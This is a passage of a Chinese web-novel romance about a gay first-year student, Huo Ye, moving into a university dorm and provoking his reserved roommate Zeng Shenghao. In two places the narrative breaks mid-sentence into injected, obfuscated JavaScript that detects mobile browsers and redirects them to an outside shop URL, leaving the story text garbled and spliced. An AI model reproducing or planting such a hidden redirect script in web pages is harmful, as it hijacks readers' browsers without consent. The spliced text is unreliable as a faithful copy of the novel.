“诶哟婧柠姐,你也在啊!”王麟宛如从天而降,一下子就跳出来,舔着脸笑:“我们读金融系,嘿嘿嘿,我们仨都是!” 叶婧柠:“哦。” 赵茂青不知何时脸红了半边,目不转睛地望着车边美得雌雄莫辨的人,鼓起勇气搭话:“承乾,你也读金融系么?” 叶婧柠噗嗤一声笑喷出来。 霍·承乾·晔,不客气地冲赵茂青翻了个超级无敌大白眼。 邵书斓看一眼手表,说着要迟到了,拍拍儿子肩膀:“之前都是朋友,茂青他们就是调皮了点儿,本身没什么坏心眼,你别跟他们一般见识,心胸放宽阔点儿。” 霍晔点头道:“知道。” “在学校多保重,”邵书斓临走时又嘱咐了一遍被子礼物的事,“我去上班了。” “嗯,”霍晔跟她摆了下手,“路上小心。” 等邵书斓走,当下都是同龄人了。 赵茂青没再顾忌,走近到霍晔面前,笑声邀请:“承乾,我暑假刚拿了驾照,既然都是一个学校的,就别麻烦婧柠姐了,我顺路捎着你吧。” 霍晔气笑了:“你再叫我一句‘承乾’,我真的要打你了。” 赵茂青立即面露迷惘之色,扭头看向孙天和王麟。 孙天和王麟疯狂挠头回忆思考。 这……霍承乾都四年没回来了,他们从小就喊的外号,一时也记不太清这人真名叫啥了。 于是赵茂青虚心求教的目光又投向叶婧柠。 叶婧柠当即抱臂别过脸看向远天云彩。 霍晔没心思陪这几个人在这儿耗,他早上一睁眼就迫不及待地想去学校报到了! 当即将叶婧柠拉上车,丢下一句: “赵茂青,今天咱们还是各走各的吧,下回等你想起我真名儿了,我们再聊。” * 开车去学校路上,叶婧柠扶着方向盘狂笑不止。 “哈哈哈哈哈哈承乾,你也读金融么!!” “噗——!别麻烦婧柠姐了噗哈哈哈哈哈!” “哈哈哈哈哈我真的要笑死了!哈哈哈——咳咳!咳哕——!哕!!” 霍晔被她吵得耳朵疼:“……够了。” 叶婧柠笑呛了口气,好半天才缓过劲儿来。 她定了定神,扭头问:“诶,你没看出来他啥意思么?” 霍晔纳闷瞥她:“被一个黄毛喜欢很值得本公子开心么?” 叶婧柠打趣道:“但是他很帅啊,你不觉得他很帅么?” 安静开了几秒车,她又忍不住回味一笑:“这几年不光你有变化,茂青也是长开了。” 霍晔懒得陪她八卦,只交代:“待会东西撂到宿舍楼下你就走,我自己搬上楼。” 叶婧柠不太乐意:“凭什么?我还想进你们宿舍看帅哥呢!” 霍晔冷呵一声:“你是我的未婚妻,看我一个人还不够?” 叶婧柠没好气道:“抱歉啊亲爱的,虽然没搞懂你突如其来的占有欲,但你帅归帅,长相确实不是我喜欢的类型。” 霍晔没理她,双眸凝望着窗外不停切梭变换的城市绿荫景观,指尖有一下没一下地敲着窗沿,不知在思索什么。 叶婧柠余光一瞥,才注意到他白T恤配牛仔裤的简便打扮。 与他重逢后在人前人后展示出的成熟模样很不相称。 他脚下踩着一双名牌板鞋,一尘不染的,莫名做作。全身上下唯一的装饰,似乎就是他T恤的版型了——宽松且短,只要稍微那么一倾身,就会显露出他优越漂亮的腰线弧度,和腹部八块线条纵横的雪白薄肌。 “诶,”她觉得怪怪的,“你今天怎么穿的跟个纯情小处男似的?” “因为我本人正是一名纯情小处男。”霍晔面不改色。 “嘁……”她看出几分苗头,不怀好意地凑近问,“诶,你不让我去,是不是怕我太美了,在你那群直男室友们面前出现会夺掉你的光彩?” “我自认为——”霍晔一脸矜骄傲然地瞥她,“只有我看不上的,没有我得不到的。” 叶婧柠:“嘁嘁嘁嘁……” 霍晔:“好好开车!” · 等到宿舍楼下,叶婧柠攥着霍晔的行李箱不撒手。 她还想争取一下进609宿舍看看。 M大招生组今年在外地特别录取了一名年仅16岁的外语天才,鉴于这名学生年龄略大,不太适合进少年班,于是经诸领导多方面考察,将这位据社交媒体称“智商极高,情商偏低”的小天才安排在了“人均德行素质堪称一流”的609宿舍,力求尽最大程度减少这位小天才会受到同学欺负的可能性。 这事在A大和M大表白墙上早传开了,叶婧柠对这个小学神非常好奇。 当然了,她最想知道的是,那位横看竖看左看右看、无论怎么看都是霍晔理想型的“关系户室友”,到底是照片P过头了,还是真的长相“很一般”。 霍晔皱着眉,挺不理解地说叶婧柠这种想法真的很无聊。他们是谁?军|人|子弟!父辈爷爷辈都是在战场上浴血奋战、淋过枪林弹雨、保卫祖国的英雄!他们作为英雄的子女,肩上就理应担负着比普通同龄人更多一份的光荣使命! 他们应当勤于学业,志存高远,努力为建设社会主义事业添砖加瓦!他们应向党看齐!继承先辈舍己为人、舍生忘死的无我奉献精神,保卫祖国乃至世界和平,共同携手实现中华民族伟大复兴!她怎么能成天想着这个帅哥那个帅哥,动不动就好奇八卦还给他拉郎配呢?< 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霍晔不自觉笑了声,说“好”,然后就这么揣着宿舍钥匙在门外等着。 他刚才在楼下签字的时候,看到同宿舍另外两个人的亲笔签名了。一个叫“姜离”,是那位16岁的小天才,字迹有些潦草,但还算能看。 另一个就是那个男生。 男生的字……很好看。 锁舌“咔”动了下,曾盛豪打开门,歉然道:“不好意思,刚才我在换衣——” 见到门口新面孔,他愣了几秒,随即又笑:“哦,原来是你,我以为是姜离。他是第一个到的,刚才和他父母一起出去了。” 霍晔也愣,目光久久望着对方一身板正硬挺的军绿色迷彩装,眼底闪过一丝恍惚。 曾盛豪见他眼神有异,解释道:“我试一下军训服。” 见霍晔在门口抱着大床被褥站半天,便伸手接过去:“我来拿吧。” 霍晔回过神儿来,“哦”一声,推着行李箱进屋:“军训服已经发了吗?” “没,”曾盛豪将被褥放到霍晔下铺的床板上,低头帮人重新把卷卷整理成块块,“我家里参考学校的军训服款式,找人定做了两套棉质同款,棉布透气性要好一点。” 霍晔轻啧一声。 真不愧是系三千多一条圣罗兰提花领带的富少爷。 正爬着梯子,忽然想到什么,扭头往下吆喝: “诶,曾盛豪!” 曾盛豪立刻从床下仰脸望过来。 富少爷眸光单纯坚毅,一副脸不红心不跳的样子,莫名令人窝火。 霍晔干脆抬着长腿一迈,利落翻身坐上床板,说:“帮个忙,我在上面铺,你从下面递给我。” “行。”曾盛豪当即抱起最厚实的那床褥子,一边递上去,一边说:“你T恤是不是有点短啊,昨天刚下过雨,这两天温度低,你小心吹凉风冻感冒。” 正铺床的霍晔攥起拳头,咬牙微笑道:“没关系,我就喜欢穿凉快的。” 曾盛豪应了声,又递上一床薄褥子,望着对方笑:“霍晔,你是不是也已经认识我了?” 这一声称呼莫名温柔动听,霍晔停下手中动作,偏头和曾盛豪对视。 这就要开始了么。 呵,真没劲。 霍晔“嗯”了声,继续低头铺床,心里突然很不是滋味。 曾盛豪来了兴致,仿佛这一声“嗯”就正式确定了他俩是同道中人。 “听说你学了十门AP,有八门都是满分,”曾盛豪伸长脖子,双手扒着上铺床板,眼底藏不住欣赏:“我觉得你很厉害。” “一般般吧,”霍晔笑,“你还读IB呢,还是4个HL(高阶)和2个SL(标准阶),TOK 、CAS 和 EE 也都是全优,你更厉害。” “我在英国上了六年的学,还比你还大了将近两岁,要是太差劲了也说不过去吧。”曾盛豪笑,“你进入全英环境晚,可见吸收得有多快。你大学是读英语和金融双学位吧?” “嗯,”霍晔随口道,“你是只读英语专业吧,要两年半修完四年的学分。” 曾盛豪点头:“对,前两年要准备外交部遴选考试,英语专业的名额要比其他文科类专业多一点,但我还要在校外学一门小语种,读双学位肯定会忙不过来,等遴选过后我再考虑读其他专业。” 霍晔一听对方这清晰明了的前途规划,顿时觉得没意思的很。 他冲人招招手,示意这位未来外交官大使给他把被子抬上来。 曾盛豪就给霍晔抱被子。 他一边举着胳膊,一边探出脑袋向霍晔提议,说他研究过了,霍晔雅思是8,他雅思8.5,二人可以凭借高分抵掉上学期的三门英语选修课的学分,这样他俩就可以腾出更多个人可支配时间专心做自己的事。 霍晔耐着性子“嗯嗯嗯”敷衍着,心里深痛惋惜着对方明明长着这样的一张脸,怎么偏偏是这样的一种性格? 这种人难道除了学习和职业规划就没有别的事想要聊的么? 比如,喜欢评鉴新室友外貌身材之类的爱好? 或者,产生类似于新室友有没有女朋友之类的好奇心? “霍晔,”曾盛豪站着床边,提议道,“正式开课前,我们一起去教务处找老师拿免修申请表吧。” 霍晔心不在焉地抖了抖被子,随口应道:“好啊。” 话音才落,被子里突然腾空抖出去一个彩色的小包裹,霍晔想起邵书斓的嘱咐,神经一紧,二话不说就扑过去抓! 曾盛豪见霍晔踩着近乎两米高的上铺扶拦就往下跳,登时大惊失色,条件反射吼出一句“小心!”,立马伸出双臂,将人迎面拦腰抱住。 霍晔没想到俩人居然这么快就抱上了,不免怔了怔。 他低头笑着,冲这位英俊的绅士眨了眨眼。 “你干嘛?” 曾盛豪没由来一阵心里发虚,立马将脸别了过去。 然而拥在对方腰间的两只手臂却不知道怎么回事,无论如何都撒不开。 他不晓得原来一个男生的腰可以这般柔软细滑。 无人问津的彩色包裹“哗啦”一下摔落在地上,一面象征着支持LGBTQ群体的彩虹旗帜在曾盛豪的脚边徐徐展开。 旗帜中央,有几条蜿蜒曲折近两米长的、兼具超薄极致款、持久延时款、玻尿酸水润款、乳胶过敏专用款等诸多系列但无一例外全是大号装的杜蕾斯安全套。 霍晔登时头皮一麻。 然后小心翼翼去观察身下人的反应。 对方一脸瞳孔震惊的表情。 霍晔尬笑一声: “如果我说这些都是我专门买给你们的开学礼物,你会信吗?” 4. 第四章 发现霍晔是gay后,曾盛豪瞬间就无法和他亲近了。 他连忙将人松开,扭身蹲地上,自认为很镇定地帮对方收拾起彩虹旗和那堆莫名烫手的安全套。 “赶紧都捡起来吧,”他说,“等下被人看到就不好了。” 霍晔没有上前帮忙。他抱臂倚靠在床梯边,余光瞟着对方半蹲跪地的高大背影,笑了声:“我以为,像盛豪哥你这种从小接受西式教育的海归人才,会比寻常人更具包容性,没想到你这么胆小。” 曾盛豪头也不回:“你过奖了,但是我没有那个意思。” 霍晔嗤笑:“鬼才信,看把你吓的,脸都白了八个度。” 曾盛豪装好包裹,起身递给他:“只是有点惊讶,这是人之常情吧。” 霍晔不肯接,轻哼一声:“是么?” 曾盛豪笃定:“是。” 霍晔眯眼凑近他面前:“那你怎么不看着我眼睛说?” 曾盛豪面无表情别过脸:“因为你距离有点太近了。” 霍晔低头笑了笑,偃旗息鼓,慢悠悠地撤退回身。 他接过包裹,上下打量一眼对方,眼神玩味地笑:“曾盛豪,你恐同。” 曾盛豪这下炸毛了,立马急退三步,态度严肃地声明:“同一个屋檐下,我发誓我绝不会对你心存偏见,希望你也能够尊重我!” 霍晔满脸不高兴:“你让我一个名副其实的同,去真心尊重一个恐同的人,不觉得有点强人所难吗?” 曾盛豪顿了顿,抬眼望着他:“霍晔,我们能不能不要把关系闹这么僵。” 霍晔一听这,心里不免冷笑起来。 他步步紧逼,忽然一把拽过曾盛豪的领子,在对方嘴角狠狠亲了一口,说:“那好啊,我吓死你!” 曾盛豪整个人僵在原地,神情错愕地盯着对方,浑身汗毛都竖起来了。 第一次,他在外面上学产生了想回家的念头。 对面男生抬手腕擦着嘴唇,一双狭长的桃花眼斜瞥着他,勾魂似的,笑得撩人又阴狠,活像个要拉人下地狱的妖孽。 于是曾盛豪低头默默再退三步。 四人间宿舍空间小得可怜,曾盛豪直接藏到了墙角。 他埋头背转过身,缓缓抬手摸着嘴角,颇有几分掩耳盗铃的意思。 霍晔无语又嫌弃。 “我不和你一起拿免修申请表了。” 曾盛豪有点心累:“我说了,我没有那意思。” 霍晔:“我有。” 曾盛豪无奈。 “既然你对我的成绩单这么了如指掌,”霍晔提着包裹跳上床,颐指气使道,“你去帮我拿,再帮我填好,然后帮我交上。” 曾盛豪转过身,提醒道:“这种东西要自己领才给。” 霍晔不以为然:“你就跟他们说我是霍晔。” 曾盛豪不想开学第一天就被强权室友霸凌,抬头硬气道:“你为什么不自己写?” 霍晔回眸嫣然一笑,冲他抛了个媚眼:“因为你的字比较好看呀,亲爱的。” 曾盛豪简直无力回击。 *** 下午四点多,最后一个室友扛着大包小包、推着个硕大的行李箱姗姗来迟。 这是本宿舍行李最多的一位,知道的,是他在搬行李,不知道的,还以为他是在乔迁搬家。 当时曾盛豪跑去在楼道厕所换下军训服,回来一推开宿舍门,霍晔盘腿坐在上铺,居高临下地俯视他。 先是淡淡挤兑他“换个衣服还东躲西藏的,当我是瘟神么”,不待曾盛豪辩解,霍晔又指着他新换的一身最寻常不过的浅灰T恤配运动裤的烂大街装扮,夸他穿私服也挺帅的。 打一棒子又给个甜枣,曾盛豪心情郁闷地抱着军训服在门口罚站,脸上红一阵青一阵,不晓得自己接下来两年半可该怎么过。 江箫作为救星出现时,曾盛豪连忙热心地帮人接行李搬被褥。江箫瞥见曾盛豪床上的迷彩服,也好奇问:“已经发军训服了吗?” 曾盛豪正要解释,上铺某人就抢先一步:“他过敏,家里人就给他做了两套棉的,不是学校发的。” 江箫“哦”一声,点点头:“那确实得多注意点儿。” 曾盛豪错愕抬头。 霍晔若无其事地躺在床上玩手机。 眼下宿舍四人全部到齐。 江箫的床位姓名贴上写着“宿舍长”,他刚铺好床,连口水都没顾得喝上,有个学长抱着个本子来敲门,喊他去楼下填表交宿舍空调押金。 江箫忙应着,一把脱下赶路湿透的T恤,赤着膀子露一身精悍漂亮的腱子肉,半蹲在地上翻行李箱里的新T恤。 曾盛豪正坐在桌前摆词典,没忍住偷瞄一眼斜上铺某人的反应。 霍晔托腮侧躺在床上,似乎早等着他这一瞥,笑眸深深,只望着他。 然后冲他比口型:“比——你——帅——” 曾盛豪:“……” 那学长探头进来,“哟”了一声,对江箫笑道:“哥们儿,你们宿舍这颜值挺高啊!” 江箫换好衣服,扭头看了身后俩人,笑道:“还真是。” 出门之前,江箫说他等交完押金就直接去学院报到了,分别加了俩人微信,说建宿舍群,有事大家随时联系。 曾盛豪提前加过姜离微信,顺势就推给了江箫。 那小天才倒是懂事,一进群就艾特他们三人喊哥哥,又说他父母领着他去学院报过到了,现在一家人在附近酒店休息。 接着,小天才在群里发了一条人均千元的宴会酒楼地址,留言: 【我爸妈说请咱们宿舍吃饭,晚上八点,3068包厢,进大堂后找服务生带路就行。】 【哥哥们都要来哦!】【开心emoji】 仨人在群里陆续回复“OK”。 窗外天色黑了下来,宿舍再次剩下俩人。曾盛豪换了双休闲鞋,套了件黑牛仔夹克,走到霍晔枕边,问:“走吗?” 霍晔惊讶扭头:“你饿了?” 曾盛豪盯着他:“你还没报到。” 霍晔挑眉:“你报到过了?” 曾盛豪解释:“我家人帮我转学籍的时候就弄好了。” 霍晔“哦”一声,若有所思道:“所以你是故意趁着宿舍没人,想邀请我出去逛街是吗?” 曾盛豪无奈:“我都说了,我没有对你心存偏见的意思,你别生气了行不行?” 霍晔一脸不信:“那你下午跑厕所去换衣服?” 曾盛豪眼神幽怨:“难道不是你一直在盯着我?” 霍晔挠挠下巴,仔细回忆了一下。 然后决定选择原谅对方:“好吧。” 霍晔其实也不需要报到,奈何实在难以拒绝这个邀请,于是就勉为其难地爬起来,说陪曾盛豪去外面溜达一会儿。 霍晔穿了鞋,拿着手机钥匙就往外走,曾盛豪说外面冷,提醒他穿件外套。 “或者换件长袖。”曾盛豪隔空指了下他宽松漏风的短白T恤。 “没事儿,不用换。”新宿舍屋里没装饮水机,霍晔有点渴,急着下楼。 “等晚上吃完饭,你肯定会冷。”曾盛豪笃定道。 “没关系,”霍晔步子一停,扭脸冲人调笑,“冷了我就穿你的,亲爱的。” 曾盛豪脸上又开始红一阵青一阵,紧跟着他下楼阶,商量道: “霍晔,你还在生气吗?” “没有啊!” “那你能不能别再这么称呼我了?” “怎么,恐同病犯了?”霍晔不以为然道,“你不是希望我们的关系可以好一点么?” “那你换个别的,中庸一点的。”曾盛豪试图给予人正向引导。 “抱歉我打小就不吃儒家那套,我就喜欢叫我喜欢的人亲爱的。”霍晔不管不顾。 “随你便吧。”曾盛豪脑子一片凌乱。他真的很想回家。 霍晔找了家宿舍附近装修较老的小破超市,让曾盛豪在外头等着,他去买瓶水。 曾盛豪初来乍到,没怎么逛过校园,抬腿就要跟进去:“那我也买一瓶吧。” 霍晔伸胳膊把人挡在门外,眼神警告:“我给你买,外头等着。” 曾盛豪莫名其妙。 明明这人刚才还跟他撒娇呢。 霍晔扬手掀开泛黄的塑料门帘,在超市拿了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曾盛豪抗拒道:“我不是买不起,只是觉得不合理。” 借着小卖部的昏暗黄光,他忽然余光一瞥,指着霍晔牛仔裤兜露出的白色盒角:“这是什么?” 霍晔面不改色地喝一口水,望着远方黑天星星:“安全套。” 曾盛豪手指立刻触电般弹回来。 在理顺霍晔“本来已经在宿舍有无数只安全套”和“出趟门又花一百多专门买一盒安全套”两者的相悖逻辑之前,江箫在主干道上偶遇他们,说正好仨人结伴打车去找姜离吃饭。 霍晔借口有点事儿,让他俩先走,他办完事儿随后就到。 江箫身为宿舍长,觉得刚开学就让室友落单不太合适,就问:“你需要多久?要不我俩等你一会儿。” “我得半小时呢。”霍晔“嗐”一声,说,“没事儿,你们不用等,我很快的。” “你一个人要去哪儿?”这几个字硬生生噎在喉间,曾盛豪沉默的视线落在霍晔裤兜的那一白色盒角。 但……既然发过誓不会对这个人心存偏见,他似乎就不能够再把对俗世男同的刻板印象强加到霍晔身上。 尤其,霍晔还是一个刚满十七岁的小男孩儿。 霍晔察觉他表情不对:“怎么了?” 曾盛豪凝视着他那一副英挺成熟的剑眉,沉默片刻,说:“没事,你自己注意安全。” “这么关心我啊?”霍晔笑,忽然侧过身,指尖一勾,从对方掌心抽走了手机。 不待曾盛豪诧异阻拦,霍晔举着他手机刷脸解锁,继而掏出自己手机,给曾盛豪微信扫了五万块钱。 “你是易过敏体质,”霍晔将手机归还给对方,笑道,“等下打辆舒坦点儿的车,剩下的钱留着买水喝。” 曾盛豪愕然。 江箫也面露诧异,八卦的目光在二人之间来回扫视。他实在想不通两个连微信好友都没加着的人,怎么会在谈笑之间就有整整五万块的收付款的?! 霍晔冲俩人摆了摆手,转身走了。 江箫一溜烟飘到曾盛豪身边,好奇问:“你们是亲戚吗?” 曾盛豪凝眸望着那人玩世不恭的背影,心情复杂难言,说:“不是。” “好朋友?” “不是。” “他原来欠你钱?” “不是。” “那——”江箫张了张嘴,将那句不太合适的猜测硬生生咽下去,说:“那我们就先走吧。” “……嗯。” 5. 第五章 姜离家里是做买卖的供货商,父母在老挝那边包地种西瓜,长途运到国内卖,虽说有赔有赚,也算是小康之家。 鉴于儿子本身年纪就小,且情商堪忧,父母对他一百个不放心,干脆倾家出动送他来京上学,这几天更是千叮咛万嘱咐,又在开学之际,订下贵价酒楼款待与他朝夕相处的室友,力求全方位都能帮儿子打点到。 众人在包厢见面。姜爸满面红光,穿着深棕Polo衫,黑西裤紧扎进皮带,中等身材微胖肚腩,腕上戴着块万把块的劳力士,显出几分大老板气魄。姜母皮肤略黑,浑身金首饰,衣着素白,笑容淳朴,一见仨人进屋,就热情张罗着他们入座。 曾盛豪等人一边道谢,一边不约而同瞅向那位小室友—— 小室友模样乖乖的,个子挺高。他染着一头青蓝蓬松卷毛,满耳炫酷耳钉,一身工装潮男装扮,很难想象他是那种会踏实读书的学霸类型。 小室友也好奇地瞪着大眼珠子瞅他们。 霍晔笑声冲他招了下手,拉椅子坐到了他旁边。 “Hi~我是霍晔。” “哥哥,”姜离笑得挺甜:“等下你们要多吃点。” “嗯呐,”霍晔歪头笑眯眯看着他,“你真可爱。” 曾盛豪默不作声地拉开椅子,坐到了霍晔旁边。 江箫也坐下,一边瞄着眼继续八卦地观察旁边俩人动静,一边在心里细品回味着方才在路上坐的那辆豪华商务礼宾车。 不知道曾盛豪出于什么挥霍心理,明明他们是俩人,这人却叫了最贵的八人商务车座。司机西装革履戴着白手套,面带微笑地请两位贵宾上车,江箫屁股刚挨着真皮座椅,司机又请他们享用车内冰柜的饮料酒水。 江箫没搞懂霍晔的财力边界,但见曾盛豪似乎也很随意,还帮他在车上给手机充电连WiFi,江箫便请教对方,你们每次出门都打这样的车? 曾盛豪诧异怎么可能?说这太贵了,他要是一个人出门,撑死就打一辆奔驰宝马那类的百元专车。 江箫挑了下眉:“那今晚这是?” 曾盛豪抿了下唇:“今晚我有点过敏。” 人到齐,姜爸挥手叫上菜,目光扫过仨人,笑说他们这宿舍小伙儿都挺靓,保不齐学校是按颜值分的宿舍。夸完相貌,姜爸酒气上头,开始赞叹几位器宇不凡,才气外露,真是国之栋梁。 霍晔、曾盛豪自不必说,江箫是高考大省的省状元,普通家庭,普通出身,没什么特殊技能和背景,却是从千军万马中杀出的第一号人物,傲骨狰狞。此三人皆是秉性骄狂自负,内心对姜爸这话深以为然。然而长辈面前,他们不得不做出谦虚样子,皆笑声道:“一般,一般,您过奖了。” 饭桌闲聊,最怕冷场。 姜爸能聊的都聊完了,酒酣耳热之际,难免思维发散,问及诸人家庭亲属。 他倒没别的心思,只是聊到自己儿子。夫妇俩料定儿子日后毕业在职场中不好混,干脆和M大签了一份本硕博连读及留校任教的互惠协议,说,无论如何,大学环境要比外面世界要光明些,他们不求孩子大富大贵,只求他的人生能够轻松一点。 “盛豪家里是做什么的?” 曾盛豪闻声撂下筷子,抬头笑道:“我妈是上班族,我爸是公务员。” 桌下,霍晔用膝盖撞他一下,压声说:“骗子。” 曾盛豪皱起眉,他被这个不道德的帽子扣得心里不舒服,于是倾身过去,凑在人耳畔认真解释:“这是广义上的定义,不是骗人。” 霍晔扭过头,冲他蹙蹙鼻头:“信你个鬼!” 曾盛豪突然愣住。 霍晔挑眉:“怎么?” 曾盛豪闷头退坐回去:“没事。” 他在对方肩头嗅到了淡淡的烟味,还有……霍晔的侧颈和锁骨上有好几处性感醒目的红色草莓印。 ** 晚饭过后,众人打车回宿舍。 姜爸姜妈明日就要回家,因此姜离要跟着大伙儿一起回宿舍。 曾盛豪照旧打的豪华八座商务专车,江箫发现霍晔眼皮都没掀一下,抬腿弯腰就踏了进去。 姜离兴奋地指着自动开车门:“这么牛逼?!” 江箫摸摸他脑袋:“嗯,超牛逼的。” 姜离一上车就抱了一堆饮料果酒,小声问江箫:“这些都是免费的吧?” 江箫瞧出曾盛豪今晚气场不太对,笑道:“没事儿,你尽管喝,喝不完都拿走!” 姜离猛点头,又大口吃着鲜果盘:“我喜欢你们!” 等司机开车,霍晔发现曾盛豪居然不挨着他一起坐,扭头看向斜后方,招呼道:“曾盛豪,这里有位置。” 曾盛豪闭眼戴着耳机听BBC:“不用,坐哪儿都一样。” 霍晔干脆走过去,一屁股坐人旁边:“我过来了,你别乱跑了。” 曾盛豪睁开眼,神情复杂地瞥他。 霍晔顺手摘掉他一只耳机,戴进自己耳朵,模仿对方样子,闭眼抱臂靠在座椅上听新闻。 曾盛豪心里排斥,伸手就要抢回来:“我没说要借。” 霍晔打掉他手:“别闹,明天买副新的给你。” 曾盛豪:“……” 回到学校,宿舍楼下刚好有骑着三轮来卖饮水机和桶装水的学长。江箫征询众人意见,几人都赞同办个年套餐。于是四个人或拎或抗,每人提着两桶水上六楼,江箫又单独下去跑一趟扛饮水机进屋。 三下五除二,水桶“哐!”一声叩进饮水机,狭小安静的宿舍响起哗啦啦的悦耳声,仿佛清冽的生命之源在他们的血液里汩汩流淌。四人相视一笑。 他们有水了! 笤帚簸萁拖把宿舍有,但霍晔嫌质量太次,说等下他和曾盛豪下楼去买几把结实点的。 曾盛豪站出来:“我一个人去吧。” 霍晔终于察觉点儿不对,扭头皱眉:“曾盛豪,你他妈几个意思啊?我对你还不够好?” 曾盛豪不想惹是生非,只说:“外面冷,你穿的又少。” 霍晔才不吃他这套,甩他一声“滚”,自己扯了件衬衫外套就大踏步推门出去了。 江箫和姜离面面相觑。 桌布衣架杯架等也要买,江箫就找姜离商量,说这些不急用,可以网购。 姜离没住过校,对这些提议一味嗯嗯嗯,让宿舍长他们看着办,他只负责均摊掏钱。 等俩人交谈一结束,宿舍瞬间陷入诡异的寂静。 曾盛豪低头翻着牛津词典,江箫放轻动作,把行李箱衣服都收拾进柜子里,姜离把从车里顺来的十来盒朝日唯品整齐划一地摆在宿舍唯一一张桌子上,四人间不时响起纸页翻动的脆响声、柜门开关的嘎吱声,和奶盒摩擦桌面的声音。 开学第一天宿舍就公然闹矛盾,每个人心里都有点紧张与不适。 除了霍晔。 霍晔窝着火气出去一趟,买完东西不想进宿舍,兀自抱着一堆笤帚簸萁拖把,在周遭过路人怪异目光打量下,埋头坐在宿舍楼下长椅吹了十分钟冷风。 很快,冷风把他吹消气了。 二十分钟后,霍晔跟个没事儿人一样,自己扛着东西回宿舍。 江箫走过来接应,问他花了多少钱,大家均摊一下。 霍晔大方挥手说不用:“让曾盛豪多替我值两天日就行了。” 曾盛豪不晓得这人喜怒无常的要闹哪样,想了想,他撂下词典,起身走到人面前,心平气和道:“需要我值多少次日?” “自己想。”霍晔无视对方皱眉表情,转身朝着江箫和姜离,笑声宣布道:“趁着大家都在,我有件事想说一下。” 俩人:“你说。” 霍晔走过去床铺,伸手往枕头底下摸,笑语嫣然:“我有一些开学礼物想送给大家。” 曾盛豪眉心猝然一跳。 那俩人诧异:“太客气了吧?” “吧”还没落完,霍晔变魔术一般,“哗啦”一甩胳膊,扯出几长条包装不一的安全套。 江箫瞬间瞳孔地震,姜离以为是袋装洗发膏,乐呵呵地凑上前去领,说:“我要一条金色的”。曾盛豪心情堪比坐过山车,跌宕起伏五味杂陈,看妖怪似的盯着霍晔。 “你的,你的,”霍晔发安全套犹如朝廷发赈灾粮,向大伙儿散播着祝愿:“希望大家都早日谈上对象,争取在五年保质期内用完!” 接着,停在曾盛豪面前,抓起一把就塞人怀里,笑道:“还有你的。” 曾盛豪表情抗拒地还给他:“我就不用了。” 霍晔眯起眼:“几个意思?” 曾盛豪目光坚毅磊落:“我比较保守,不太赞成婚前X行为。” 霍晔难掩嫌弃:“这都21世纪了,不先验货,人家怎么和你结婚?” 曾盛豪皱眉:“我认为,如果一个人不具备对伴侣终生负责的能力,他就不能够随意占有对方。” 霍晔不赞同:“X交是人性本能,一个成年人在合法范围内享受X生活就跟吃饭喝水一样正常,伴侣之间进行亲密行为是对彼此表达爱意的方式,且这期间双方都是独立存在的个体,都在平等地享受这段关系,谈不上谁对谁负责。” 曾盛豪冷呵一声:“你这么说,只能说明你是个马虎随便、对自己和对其他人都不负责任的人!” 霍晔愣住了。 曾盛豪从头到脚都书生气浓,实在是不像一个会因为没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521253|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打赢的辩论就上升到人身攻击的人。 还是说……他霍晔眼光太差了? 但费解是一回事,拳头痒是另一回事。 霍晔磨着牙笑,揣着安全套的两只手骨节攥得咯咯响。 曾盛豪自知失言,也懊悔自己意气用事。 他只是……他在入校前就对霍晔十分欣赏满意,加上双方父祖辈这层关系,他一见面就抱着君子之交的念头与对方亲近,谁料这半天相处下来,失望落差不断积压,偏偏霍晔一生气就喜欢调戏他,他便忍不住要仗着那几分说不清道不明的暧昧关系管教对方几句。 但说到底,对方的私生活,他没资格插手。 曾盛豪叹了口气,向人诚恳道歉:“对不起,我刚才情绪有点激动,说话没有过脑子。” 然后为了示好,他把霍晔怀里那堆安全套都接了过来:“我还是要吧。” 于是霍晔好容易硬起来的拳头又莫名软了下来。 霍晔翻了个白眼,懒得理他。 他转过身看向江箫和姜离,坦然道:“我先给你们交代了吧,我是gay。” 江箫“哦”了声,笑道:“看出来了。” 姜离也笑:“我也看出来了。” 霍晔有点诧异。 姜离笑得很暧昧,手指尖指了下他,又指了下曾盛豪:“你喜欢他,但他不喜欢你。” 霍晔:“……” 曾盛豪:“……” 江箫一把捂住姜离的嘴,低声道:“摆在明面上的事就不要说了。” 姜离点点头。 霍晔说,军训期间四人肯定是要住一起,不过让大家放心,兔子不吃窝边草,况且他自认为是众人当中最漂亮的那个,一脸严肃地警告他们不要对他起歹心。 几人都笑,说行。 霍晔又说,等军训结束,他就会住到校外的公寓里,若有事过来会提前通知,不会影响他们正常生活。 江箫皱眉劝道:“别这么说,你是这宿舍的一份子,进出不需要通知任何人,留不留宿是你的权利,同样也不会影响任何人。” 霍晔笑了,大赞宿舍长英明神武,然后回头拍了下身旁人的肩膀:“我还不是怕我们盛豪哥夜里害怕做噩梦么?” 曾盛豪有口难辩,只好无奈地笑:“唉,我真是千古罪人了。” 宿舍关系——主要是曾盛豪和霍晔的关系,就在霍晔自踢柜门后迅速缓和了。但很微妙的,鉴于曾盛豪一整晚的冷淡表现,以及刚才吼霍晔的那声,江箫和姜离对他印象略差。 又因为曾盛豪一副直男恐同样儿,江箫和姜离去澡堂洗澡,主动叫上霍晔和他们一起去,好心把俩人分离开,谁也不让谁尴尬。 于是曾盛豪只好留守在宿舍打扫卫生,打算等仨人回来了他再去洗。 他拿笤帚扫出两大簸箕的塑料袋和纸屑木屑,去楼道尽头倒垃圾,然后拎着份量有些重的大墩布去水房洗拖把。 水龙头喷泄涌流,他心中百转千回。 曾盛豪想,今晚就算了,明日学院新生活动,他得找机会和霍晔再谈一下,一定得把人留在宿舍里住,否则未来两年半,江箫和姜离指不定在心里怎么排遣他呢。 尽管他真没有那个意思,但他心里乱,拿不出“清者自清”的气魄。他必须要用实际行动来明鉴真心。 